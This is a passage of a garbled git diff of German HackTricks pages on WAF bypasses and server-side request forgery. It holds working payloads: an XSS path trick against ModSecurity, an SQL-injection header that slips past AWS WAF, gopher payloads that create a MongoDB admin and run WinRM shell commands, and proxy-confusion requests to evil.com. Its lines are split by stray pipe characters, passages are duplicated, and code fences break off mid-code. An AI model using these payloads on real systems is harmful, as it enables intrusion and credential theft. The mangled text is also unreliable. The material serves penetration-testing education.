Daher wird eine Anfrage wie `http://example.com/foo%3f';alert(1);foo=` in Mod Security annehmen, dass der Pfad nur `/foo` ist, weil `%3f` in `?` umgewandelt wird und den URL-Pfad beendet. Tatsächlich wird der Pfad, den ein Server erhalten wird, jedoch `/foo%3f';alert(1);foo=` sein.
|
||||
|
||||
Die Variablen `REQUEST_BASENAME` und `PATH_INFO` waren ebenfalls von diesem Fehler betroffen.
|
||||
|
||||
In Version 2 von Mod Security trat etwas Ähnliches auf, was es ermöglichte, einen Schutz zu umgehen, der verhinderte, dass Benutzer auf Dateien mit bestimmten Erweiterungen im Zusammenhang mit Sicherungskopien (wie z. B. `.bak`) zugreifen konnten, indem einfach der Punkt URL-codiert in `%2e` gesendet wurde, zum Beispiel: `https://example.com/backup%2ebak`.
|
||||
|
||||
## Umgehen von AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
|
||||
### Fehlerhafte Header
|
||||
|
||||
[Diese Forschung](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) erwähnt, dass es möglich war, AWS WAF-Regeln, die über HTTP-Header angewendet wurden, zu umgehen, indem ein "fehlerhafter" Header gesendet wurde, der von AWS nicht ordnungsgemäß analysiert wurde, jedoch vom Backend-Server.
|
||||
|
||||
Beispielsweise das Senden der folgenden Anfrage mit einer SQL-Injektion im Header X-Query:
|
||||
```http
|
||||
GET / HTTP/1.1\r\n
|
||||
Host: target.com\r\n
|
||||
X-Query: Value\r\n
|
||||
\t' or '1'='1' -- \r\n
|
||||
Connection: close\r\n
|
||||
\r\n
|
||||
```
|
||||
Es war möglich, AWS WAF zu umgehen, da es nicht verstand, dass die nächste Zeile Teil des Werts des Headers ist, während der NODEJS-Server dies tat (dies wurde behoben).
|
||||
|
||||
## Referenzen
|
||||
|
||||
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
|
||||
* [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Heldenniveau mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -10,7 +10,7 @@ Heute Zugriff erhalten:
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null zum Profi mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
|
|
@ -24,7 +24,7 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
|
|||
|
||||
## Grundlegende Informationen
|
||||
|
||||
Eine **Serverseitige Anfragefälschung (SSRF)** tritt auf, wenn ein Angreifer eine **serverseitige Anwendung** manipuliert, um **HTTP-Anfragen** an eine Domain ihrer Wahl zu senden. Diese Schwachstelle macht den Server für beliebige externe Anfragen angreifbar, die vom Angreifer gesteuert werden.
|
||||
Eine **Serverseitige Anfragefälschung (SSRF)** tritt auf, wenn ein Angreifer eine **serverseitige Anwendung** manipuliert, um **HTTP-Anfragen** an eine Domain ihrer Wahl zu senden. Diese Schwachstelle macht den Server für beliebige externe Anfragen angreifbar.
|
||||
|
||||
## Erfassen von SSRF
|
||||
|
||||
|
|
@ -62,7 +62,7 @@ Lesen Sie hier mehr: [https://portswigger.net/web-security/ssrf](https://portswi
|
|||
* **SFTP://**
|
||||
* Identifiziert als Protokoll für sicheren Dateitransfer über Secure Shell, wird ein Beispiel gezeigt, wie ein PHP-Skript ausgenutzt werden könnte, um sich mit einem bösartigen SFTP-Server zu verbinden: `url=sftp://generic.com:11111/`
|
||||
* **TFTP://**
|
||||
* Das Trivial File Transfer Protocol, das über UDP arbeitet, wird mit einem Beispiel eines PHP-Skripts erwähnt, das entworfen wurde, um eine Anfrage an einen TFTP-Server zu senden. Eine TFTP-Anfrage wird an 'generic.com' auf Port '12346' für die Datei 'TESTUDPPACKET' gesendet: `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
|
||||
* Das Trivial File Transfer Protocol, das über UDP arbeitet, wird mit einem Beispiel eines PHP-Skripts erwähnt, das entworfen ist, um eine Anfrage an einen TFTP-Server zu senden. Eine TFTP-Anfrage wird an 'generic.com' auf Port '12346' für die Datei 'TESTUDPPACKET' gesendet: `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
|
||||
* **LDAP://**
|
||||
* Dieser Abschnitt behandelt das Lightweight Directory Access Protocol und betont dessen Verwendung zur Verwaltung und zum Zugriff auf verteilte Verzeichnisdienste über IP-Netzwerke. Interagieren Sie mit einem LDAP-Server auf localhost: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
|
||||
* **SMTP**
|
||||
|
|
@ -75,12 +75,12 @@ From https://twitter.com/har1sec/status/1182255952055164929
|
|||
4. connect
|
||||
```
|
||||
* **Curl URL globbing - WAF bypass**
|
||||
* Wenn das SSRF von **curl** ausgeführt wird, verfügt curl über eine Funktion namens [**URL-Globbing**](https://everything.curl.dev/cmdline/globbing), die nützlich sein könnte, um WAFs zu umgehen. Zum Beispiel in diesem [**Writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) findest du dieses Beispiel für einen **Pfadtraversierung über das `file`-Protokoll**:
|
||||
* Wenn das SSRF von **curl** ausgeführt wird, verfügt curl über eine Funktion namens [**URL-Globbing**](https://everything.curl.dev/cmdline/globbing), die nützlich sein könnte, um WAFs zu umgehen. Zum Beispiel in diesem [**Writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) finden Sie dieses Beispiel für einen **Pfadtraversierung über das `file`-Protokoll**:
|
||||
```
|
||||
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
|
||||
```
|
||||
* **Gopher://**
|
||||
* Die Fähigkeit des Gopher-Protokolls, IP, Port und Bytes für die Serverkommunikation anzugeben, wird erläutert, zusammen mit Tools wie Gopherus und remote-method-guesser zum Erstellen von Payloads. Zwei unterschiedliche Verwendungen werden veranschaulicht:
|
||||
* Die Fähigkeit des Gopher-Protokolls, IP, Port und Bytes für die Serverkommunikation anzugeben, wird erörtert, zusammen mit Tools wie Gopherus und remote-method-guesser zur Erstellung von Payloads. Zwei unterschiedliche Verwendungen werden veranschaulicht:
|
||||
|
||||
### Gopher://
|
||||
|
||||
|
|
@ -119,7 +119,7 @@ https://example.com/?q=http://evil.com/redirect.php.
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
#### Gopher MongoDB -- Erstellen Sie einen Benutzer mit Benutzername=admin, Passwort=admin123 und Berechtigung=Administrator
|
||||
#### Gopher MongoDB -- Erstellen Sie einen Benutzer mit Benutzernamen=admin, Passwort=admin123 und Berechtigung=Administrator
|
||||
```bash
|
||||
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
|
||||
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
|
||||
|
|
@ -130,7 +130,7 @@ curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
|
|||
```
|
||||
## SSRF über den Referrer-Header & Andere
|
||||
|
||||
Analyse-Software auf Servern protokolliert oft den Referrer-Header, um eingehende Links zu verfolgen, eine Praxis, die Anwendungen unbeabsichtigt anfällig für Server-seitige Anfragefälschungen (SSRF) macht. Dies liegt daran, dass solche Software externe URLs besuchen kann, die im Referrer-Header erwähnt sind, um den Inhalt der verweisenden Website zu analysieren. Um diese Schwachstellen aufzudecken, wird das Burp Suite-Plugin "**Collaborator Everywhere**" empfohlen, das die Art und Weise nutzt, wie Analysetools den Referer-Header verarbeiten, um potenzielle SSRF-Angriffsflächen zu identifizieren.
|
||||
Analyse-Software auf Servern protokolliert oft den Referrer-Header, um eingehende Links zu verfolgen, eine Praxis, die Anwendungen unbeabsichtigt an Server-seitigen Anfragefälschungen (SSRF) verwundbar macht. Dies liegt daran, dass solche Software externe URLs besuchen kann, die im Referrer-Header erwähnt sind, um den Inhalt der verweisenden Website zu analysieren. Um diese Schwachstellen aufzudecken, wird das Burp Suite-Plugin "**Collaborator Everywhere**" empfohlen, das die Art und Weise nutzt, wie Analysetools den Referer-Header verarbeiten, um potenzielle SSRF-Angriffsflächen zu identifizieren.
|
||||
|
||||
## SSRF über SNI-Daten aus dem Zertifikat
|
||||
|
||||
|
|
@ -157,7 +157,7 @@ Es könnte sich lohnen, ein Payload wie: `` url=http://3iufty2q67fuy2dew3yug4f34
|
|||
|
||||
## PDFs Rendering
|
||||
|
||||
Wenn die Webseite automatisch ein PDF mit den von Ihnen bereitgestellten Informationen erstellt, können Sie **JS einfügen, das vom PDF-Ersteller selbst (dem Server) ausgeführt wird**, während das PDF erstellt wird, und Sie können einen SSRF missbrauchen. [**Hier finden Sie weitere Informationen**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
|
||||
Wenn die Webseite automatisch ein PDF mit den von Ihnen bereitgestellten Informationen erstellt, können Sie **etwas JS einfügen, das vom PDF-Ersteller selbst (dem Server) ausgeführt wird**, während das PDF erstellt wird, und Sie können einen SSRF missbrauchen. [**Hier finden Sie weitere Informationen**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
|
||||
|
||||
## Von SSRF zu DoS
|
||||
|
||||
|
|
@ -171,7 +171,7 @@ Erstellen Sie mehrere Sitzungen und versuchen Sie, schwere Dateien herunterzulad
|
|||
|
||||
## SSRF-Umleitung zu Gopher
|
||||
|
||||
Für einige Exploitationsversuche müssen Sie **eine Umleitungsantwort senden** (möglicherweise um ein anderes Protokoll wie Gopher zu verwenden). Hier finden Sie verschiedene Python-Codes, um mit einer Umleitung zu antworten:
|
||||
Für einige Exploitationsversuche müssen Sie möglicherweise **eine Umleitungsantwort senden** (eventuell um ein anderes Protokoll wie Gopher zu verwenden). Hier finden Sie verschiedene Python-Codes, um mit einer Umleitung zu antworten:
|
||||
```python
|
||||
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
|
||||
from http.server import HTTPServer, BaseHTTPRequestHandler
|
||||
|
|
@ -183,7 +183,7 @@ print("GET")
|
|||
self.send_response(301)
|
||||
```html
|
||||
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20
|
||||
```html
|
||||
```python
|
||||
self.end_headers()
|
||||
|
||||
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
|
||||
|
|
@ -206,14 +206,86 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
|||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mühelos Workflows zu erstellen und zu **automatisieren**, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
|
||||
Verwenden Sie [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), um einfach Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
|
||||
Heute Zugriff erhalten:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Fehlkonfigurierte Proxies für SSRF
|
||||
|
||||
Tricks [**aus diesem Beitrag**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
|
||||
|
||||
### Flask
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Flask Proxy anfälliger Code</summary>
|
||||
```python
|
||||
from flask import Flask
|
||||
from requests import get
|
||||
|
||||
app = Flask('__main__')
|
||||
SITE_NAME = 'https://google.com'
|
||||
|
||||
@app.route('/', defaults={'path': ''})
|
||||
@app.route('/<path:path>')
|
||||
|
||||
def proxy(path):
|
||||
return get(f'{SITE_NAME}{path}').content
|
||||
|
||||
if __name__ == "__main__":
|
||||
app.run(threaded=False)
|
||||
```
|
||||
</details>
|
||||
|
||||
Flask ermöglicht die Verwendung von **`@`** als Anfangszeichen, was es ermöglicht, den **Anfang des Hostnamens als Benutzernamen** zu verwenden und einen neuen einzufügen. Angriffsanfrage:
|
||||
```http
|
||||
GET @evildomain.com/ HTTP/1.1
|
||||
Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
### Spring Boot <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>
|
||||
|
||||
Vulnerabler Code:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (729).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Es wurde entdeckt, dass es möglich ist, den Pfad einer Anfrage mit dem Zeichen **`;`** zu beginnen, was es ermöglicht, dann **`@`** zu verwenden und einen neuen Host einzufügen, um darauf zuzugreifen. Angriffsanfrage:
|
||||
```http
|
||||
GET ;@evil.com/url HTTP/1.1
|
||||
Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
### PHP Eingebauter Webserver <a href="#heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation" id="heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation"></a>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Anfälliger PHP-Code</summary>
|
||||
```php
|
||||
<?php
|
||||
$site = "http://ifconfig.me";
|
||||
$current_uri = $_SERVER['REQUEST_URI'];
|
||||
|
||||
$proxy_site = $site.$current_uri;
|
||||
var_dump($proxy_site);
|
||||
|
||||
echo "\n\n";
|
||||
|
||||
$response = file_get_contents($proxy_site);
|
||||
var_dump($response);
|
||||
?>
|
||||
```
|
||||
</details>
|
||||
|
||||
PHP erlaubt die Verwendung des Zeichens `*` vor einem Schrägstrich im Pfad der URL, hat jedoch andere Einschränkungen wie z.B. dass es nur für den Stammverzeichnispfad `/` verwendet werden kann und dass Punkte `.` nicht vor dem ersten Schrägstrich erlaubt sind, daher ist es erforderlich, eine IP-Adresse ohne Punkte zu verwenden, zum Beispiel:
|
||||
```http
|
||||
GET *@0xa9fea9fe/ HTTP/1.1
|
||||
Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
## DNS-Rebinding-CORS/SOP-Umgehung
|
||||
|
||||
Wenn Sie **Probleme haben**, Inhalte von einer lokalen IP-Adresse zu **exfiltrieren**, aufgrund von **CORS/SOP**, kann **DNS-Rebinding** verwendet werden, um diese Einschränkung zu umgehen:
|
||||
Wenn Sie **Probleme haben, Inhalte von einer lokalen IP auszuleiten**, aufgrund von **CORS/SOP**, kann **DNS-Rebinding** verwendet werden, um diese Einschränkung zu umgehen:
|
||||
|
||||
{% content-ref url="../cors-bypass.md" %}
|
||||
[cors-bypass.md](../cors-bypass.md)
|
||||
|
|
@ -221,7 +293,7 @@ Wenn Sie **Probleme haben**, Inhalte von einer lokalen IP-Adresse zu **exfiltrie
|
|||
|
||||
### Automatisches DNS-Rebinding
|
||||
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) ist ein Tool zur Durchführung von [DNS-Rebinding-Angriffen](https://en.wikipedia.org/wiki/DNS\_rebinding). Es enthält die erforderlichen Komponenten, um die IP-Adresse des Angriffsservers-DNS-Namens auf die IP-Adresse der Zielmaschine zurückzubinden und Angriffspayloads bereitzustellen, um anfällige Software auf der Zielmaschine auszunutzen.
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) ist ein Tool zur Durchführung von [DNS-Rebinding-Angriffen](https://en.wikipedia.org/wiki/DNS\_rebinding). Es enthält die erforderlichen Komponenten, um die IP-Adresse des Angriffsservers DNS-Namens auf die IP-Adresse der Zielmaschine umzuleiten und Angriffspayloads bereitzustellen, um anfällige Software auf der Zielmaschine auszunutzen.
|
||||
|
||||
Schauen Sie sich auch den **öffentlichen Server an unter** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
|
||||
|
||||
|
|
@ -235,12 +307,12 @@ Anforderungen:
|
|||
|
||||
Angriff:
|
||||
|
||||
1. Fordern Sie den Benutzer/Bot auf, auf eine vom **Angreifer kontrollierte Domain** zuzugreifen.
|
||||
2. Die **TTL** des **DNS** beträgt **0** Sekunden (damit das Opfer bald erneut die IP der Domain überprüft).
|
||||
1. Fordern Sie den Benutzer/Bot auf, auf eine **vom Angreifer kontrollierte Domain** zuzugreifen.
|
||||
2. Die **TTL** des **DNS** beträgt **0** Sekunden (damit das Opfer die IP der Domain bald erneut überprüft).
|
||||
3. Es wird eine **TLS-Verbindung** zwischen dem Opfer und der Domain des Angreifers hergestellt. Der Angreifer fügt die **Payload innerhalb** der **Sitzungs-ID oder des Sitzungstickets** ein.
|
||||
4. Die **Domain** wird eine **unendliche Schleife** von Weiterleitungen gegen **sich selbst** starten. Das Ziel dabei ist es, den Benutzer/Bot dazu zu bringen, die Domain zu öffnen, bis er **erneut** eine **DNS-Anfrage** der Domain durchführt.
|
||||
5. In der DNS-Anfrage wird **jetzt** eine **private IP-Adresse** angegeben (zum Beispiel 127.0.0.1).
|
||||
6. Der Benutzer/Bot wird versuchen, die TLS-Verbindung **wiederherzustellen**, und um dies zu tun, wird er die **Sitzungs-ID/Ticket-ID senden** (in der sich die **Payload** des Angreifers befand). Herzlichen Glückwunsch, Sie haben es geschafft, den **Benutzer/Bot dazu zu bringen, sich selbst anzugreifen**.
|
||||
6. Der Benutzer/Bot wird versuchen, die TLS-Verbindung **wiederherzustellen**, und dazu wird er die **Sitzungs-ID/Ticket-ID senden** (in der sich die **Payload des Angreifers** befand). Herzlichen Glückwunsch, Sie haben es geschafft, den **Benutzer/Bot dazu zu bringen, sich selbst anzugreifen**.
|
||||
|
||||
Beachten Sie, dass Sie während dieses Angriffs, wenn Sie localhost:11211 (_memcache_) angreifen möchten, das Opfer die initiale Verbindung mit www.attacker.com:11211 herstellen lassen müssen (der **Port muss immer gleich sein**).\
|
||||
Um **diesen Angriff durchzuführen, können Sie das Tool verwenden**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
|
||||
|
|
@ -248,15 +320,15 @@ Für **weitere Informationen** werfen Sie einen Blick auf den Vortrag, in dem di
|
|||
|
||||
## Blindes SSRF
|
||||
|
||||
Der Unterschied zwischen einem blinden SSRF und einem nicht blinden besteht darin, dass Sie bei einem blinden SSRF die Antwort der SSRF-Anfrage nicht sehen können. Daher ist es schwieriger zu exploitieren, da Sie nur bekannte Schwachstellen ausnutzen können.
|
||||
Der Unterschied zwischen einem blinden SSRF und einem nicht blinden besteht darin, dass Sie bei einem blinden SSRF die Antwort der SSRF-Anfrage nicht sehen können. Daher ist es schwieriger auszunutzen, da Sie nur bekannte Schwachstellen ausnutzen können.
|
||||
|
||||
### Zeitbasiertes SSRF
|
||||
|
||||
Durch **Überprüfen der Zeit** der Antworten vom Server könnte es **möglich sein zu wissen, ob eine Ressource existiert oder nicht** (vielleicht dauert es länger, auf eine vorhandene Ressource zuzugreifen als auf eine, die nicht existiert).
|
||||
|
||||
## Cloud-SSRF-Exploitation
|
||||
## Cloud-SSRF-Ausnutzung
|
||||
|
||||
Wenn Sie eine SSRF-Schwachstelle in einer Maschine in einer Cloud-Umgebung finden, können Sie interessante Informationen über die Cloud-Umgebung und sogar Anmeldeinformationen erhalten:
|
||||
Wenn Sie eine SSRF-Schwachstelle in einer Maschine innerhalb einer Cloud-Umgebung finden, können Sie interessante Informationen über die Cloud-Umgebung und sogar Anmeldeinformationen erhalten:
|
||||
|
||||
{% content-ref url="cloud-ssrf.md" %}
|
||||
[cloud-ssrf.md](cloud-ssrf.md)
|
||||
|
|
@ -293,7 +365,7 @@ Dieses Tool generiert Gopher-Payloads für:
|
|||
|
||||
* [Blog-Beitrag zur SSRF-Verwendung](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
|
||||
|
||||
_remote-method-guesser_ ist ein _Java RMI_ Schwachstellenscanner, der Angriffsoperationen für die häufigsten _Java RMI_ Schwachstellen unterstützt. Die meisten verfügbaren Operationen unterstützen die Option `--ssrf`, um ein _SSRF_ Payload für die angeforderte Operation zu generieren. Zusammen mit der Option `--gopher` können direkt einsatzbereite _Gopher_-Payloads generiert werden.
|
||||
_remote-method-guesser_ ist ein _Java RMI_ Schwachstellenscanner, der Angriffsoperationen für die häufigsten _Java RMI_ Schwachstellen unterstützt. Die meisten verfügbaren Operationen unterstützen die `--ssrf`-Option, um ein _SSRF_-Payload für die angeforderte Operation zu generieren. Zusammen mit der `--gopher`-Option können direkt einsatzbereite _Gopher_-Payloads generiert werden.
|
||||
|
||||
### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy)
|
||||
|
||||
|
|
@ -308,25 +380,26 @@ SSRF Proxy ist ein mehrfädiger HTTP-Proxyserver, der entwickelt wurde, um den C
|
|||
* [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
|
||||
